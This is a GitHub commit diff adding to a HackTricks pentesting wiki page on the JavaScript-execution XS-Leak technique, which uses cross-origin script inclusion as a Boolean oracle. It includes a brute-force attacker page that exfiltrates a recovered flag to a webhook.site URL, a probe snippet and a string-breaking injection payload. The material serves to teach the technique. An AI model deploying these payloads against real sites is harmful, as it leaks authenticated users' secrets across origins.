Skip to content

Commit 53a1106

Browse files
authored
Merge pull request #2158 from HackTricks-wiki/research_update_src_pentesting-web_xs-search_javascript-execution-xs-leak_20260422_135715
Research Update Enhanced src/pentesting-web/xs-search/javasc...
2 parents 77a0902 + d3e43fe commit 53a1106

1 file changed

Lines changed: 177 additions & 5 deletions

File tree

src/pentesting-web/xs-search/javascript-execution-xs-leak.md

Lines changed: 177 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,42 @@
22

33
{{#include ../../banners/hacktricks-training.md}}
44

5+
This XS-Search primitive turns **whether a cross-origin response executes as JavaScript** into a **Boolean oracle**.
6+
7+
The usual setup is:
8+
9+
- **Positive state**: the target returns attacker-controlled text or sensitive content that does **not** execute as attacker JavaScript.
10+
- **Negative state**: the target reflects attacker-controlled text into a place that is parsed as valid JavaScript, so the attacker can force a callback such as `window.parent.foo()`.
11+
- **Leak**: load the target with a classic `<script src>` and observe whether the callback fires.
12+
13+
This is basically an **execution oracle**, not a timing oracle. The only thing the attacker needs is a **cross-origin script inclusion** that behaves differently depending on the secret-dependent branch.
14+
15+
For the generic XS-Leaks background, see:
16+
17+
{{#ref}}
18+
README.md
19+
{{#endref}}
20+
21+
## When This Works
22+
23+
This technique is practical when all of the following are true:
24+
25+
- The victim is authenticated to the target origin.
26+
- The attacker can make the victim browser request a **classic script** from the target origin.
27+
- One branch returns content that is **valid attacker-controlled JavaScript**.
28+
- The other branch returns content that **does not execute the attacker callback**.
29+
30+
In practice, the easiest cases are search/debug endpoints that:
31+
32+
- return attacker-controlled text when a guess is wrong
33+
- return a different body when the guess is right
34+
- let the attacker choose a parameter such as `callback`, `hint`, `msg`, or a reflected prefix/suffix
35+
36+
## Basic Example
37+
38+
Server-side code that will try `${guess}` as a flag prefix:
39+
540
```javascript
6-
// Code that will try ${guess} as flag (need rest of the server code
741
app.get("/guessing", function (req, res) {
842
let guess = req.query.guess
943
let page = `<html>
@@ -22,7 +56,7 @@ app.get("/guessing", function (req, res) {
2256
})
2357
```
2458

25-
Main page that generates iframes to the previous `/guessing` page to test each possibility
59+
Main page that generates iframes to the previous `/guessing` page to test each possibility:
2660

2761
```html
2862
<html>
@@ -48,7 +82,7 @@ Main page that generates iframes to the previous `/guessing` page to test each p
4882
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
4983
}
5084
51-
//Start with true and will be change to false if wrong
85+
// Start with true and change to false if the guess is wrong
5286
candidateIsGood = true
5387
guessIndex++
5488
if (guessIndex >= flagChars.length) {
@@ -60,7 +94,6 @@ Main page that generates iframes to the previous `/guessing` page to test each p
6094
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
6195
candidate
6296
)}"></iframe>`
63-
console.log("iframe: ", iframe)
6497
hack.innerHTML = iframe
6598
}, 500)
6699
</script>
@@ -70,7 +103,146 @@ Main page that generates iframes to the previous `/guessing` page to test each p
70103
</html>
71104
```
72105

73-
{{#include ../../banners/hacktricks-training.md}}
106+
The attacker logic is:
107+
108+
1. Start every candidate as "good".
109+
2. Load the target response as a script.
110+
3. If the response executes `window.parent.foo()`, mark the candidate as wrong.
111+
4. If no callback fires, keep the candidate and continue brute-forcing.
112+
113+
## Minimal Probe Pattern
114+
115+
In many real targets, an iframe is not required. A direct script inclusion is enough:
116+
117+
```html
118+
<script>
119+
let hit = true
120+
function miss() {
121+
hit = false
122+
}
123+
124+
function probe(url) {
125+
return new Promise((resolve) => {
126+
hit = true
127+
const s = document.createElement("script")
128+
s.src = url
129+
s.onload = () => resolve(hit)
130+
s.onerror = () => resolve(false)
131+
document.head.appendChild(s)
132+
})
133+
}
134+
</script>
135+
```
136+
137+
If the "wrong guess" branch reflects `miss()`, then:
138+
139+
- `probe(...) === false` means the callback executed or the load failed
140+
- `probe(...) === true` means the script loaded without running the attacker callback
141+
142+
For reliability, use a **fresh script element per probe** and add a **cache-buster** such as `?r=${crypto.randomUUID()}`.
143+
144+
## Modern Caveats
145+
146+
### It must be a classic script
147+
148+
This primitive relies on the browser fetching the resource as a **classic script**. A plain `<script src=...>` without `crossorigin` is fetched in `no-cors` mode, which is exactly why this old pattern is still useful cross-origin.
149+
150+
Do **not** switch to `type="module"` for this technique:
151+
152+
- cross-origin **module scripts require CORS**
153+
- many targets that are includable as classic scripts will simply fail as modules
154+
155+
### MIME type and `nosniff` decide whether the payload executes
156+
157+
Current browsers are stricter than older writeups. If the target sets `X-Content-Type-Options: nosniff`, the browser will block a script response whose MIME type is not a JavaScript MIME type.
158+
159+
That means this oracle often depends on:
160+
161+
- whether the target returns `application/javascript` / `text/javascript`
162+
- whether the target returns `text/plain`, `text/html`, or JSON
163+
- whether `nosniff` is present
164+
165+
This is also why some endpoints only give a leak in one branch: one response is accepted as script, while the other branch is blocked or parsed differently.
74166

167+
### CORB can change the observable result
75168

169+
CORB adds another branch to think about. If a response is considered CORB-protected, Chromium may turn it into an **empty valid script response** instead of surfacing a parse failure. So for some endpoints:
76170

171+
- one state triggers a normal script parse / callback
172+
- another state becomes an empty script and only `onload` fires
173+
174+
That is still a useful oracle, but the signal is now **callback vs no callback** or **onload vs onerror**, not just "JavaScript executed or not".
175+
176+
### CSP can kill the attacker-controlled branch
177+
178+
Strict CSP on the **target response** can break this primitive when the reflected branch is no longer executable JavaScript. Public XS-Leak challenge writeups from 2022 to 2024 repeatedly rely on this detail:
179+
180+
- `script-src 'none'` can force attackers to pivot away from a direct execution oracle
181+
- CSP/SRI/CSP-report interactions can still create **other** leak oracles, but those belong to different pages/techniques
182+
183+
So when the obvious callback trick does not work, inspect response headers before discarding the endpoint.
184+
185+
## Useful Variants
186+
187+
### Callback-parameter endpoints
188+
189+
The most convenient target is a JSONP-style or debug endpoint that accepts a parameter such as:
190+
191+
- `callback=...`
192+
- `cb=...`
193+
- `jsonp=...`
194+
- `hint=...`
195+
- `msg=...`
196+
197+
If the "miss" branch reflects that value verbatim into executable JavaScript while the "hit" branch returns different content, you get a direct Boolean oracle with no timing measurement.
198+
199+
### Syntax-preserving prefixes and suffixes
200+
201+
Sometimes you cannot fully control the response body, but you can still make the negative branch execute:
202+
203+
- close the current string or function argument
204+
- inject the callback
205+
- comment out the trailing bytes
206+
207+
For example, a reflected branch like:
208+
209+
```javascript
210+
showResult("<attacker>");
211+
```
212+
213+
can often be turned into:
214+
215+
```javascript
216+
showResult("");window.parent.foo();//");
217+
```
218+
219+
If the positive branch does not reflect that payload, the callback becomes the oracle.
220+
221+
### Combining with event-based oracles
222+
223+
If the endpoint is unstable across browsers, mix the execution oracle with the generic script load events already covered in the section index:
224+
225+
- callback fired
226+
- `onload`
227+
- `onerror`
228+
229+
This is especially useful when one branch yields valid JavaScript and another branch yields blocked MIME / CORB / CSP behavior.
230+
231+
Related pages:
232+
233+
- [Cookie Bomb + Onerror XS Leak](cookie-bomb-+-onerror-xs-leak.md)
234+
- [performance.now example](performance.now-example.md)
235+
236+
## Practical Notes
237+
238+
- Prefer **one bit per request** and keep the callback side effect simple.
239+
- If you probe many candidates, remove previously inserted `<script>` elements or isolate each attempt in a fresh iframe.
240+
- Cache and service worker behavior can poison the oracle; use cache-busting.
241+
- This primitive is strongest when the negative branch is **fully attacker-controlled JavaScript**. If you only get partial reflection, the exploit becomes a payload-shaping problem rather than an XS-Search problem.
242+
243+
## References
244+
245+
- [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
246+
- [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)
247+
248+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)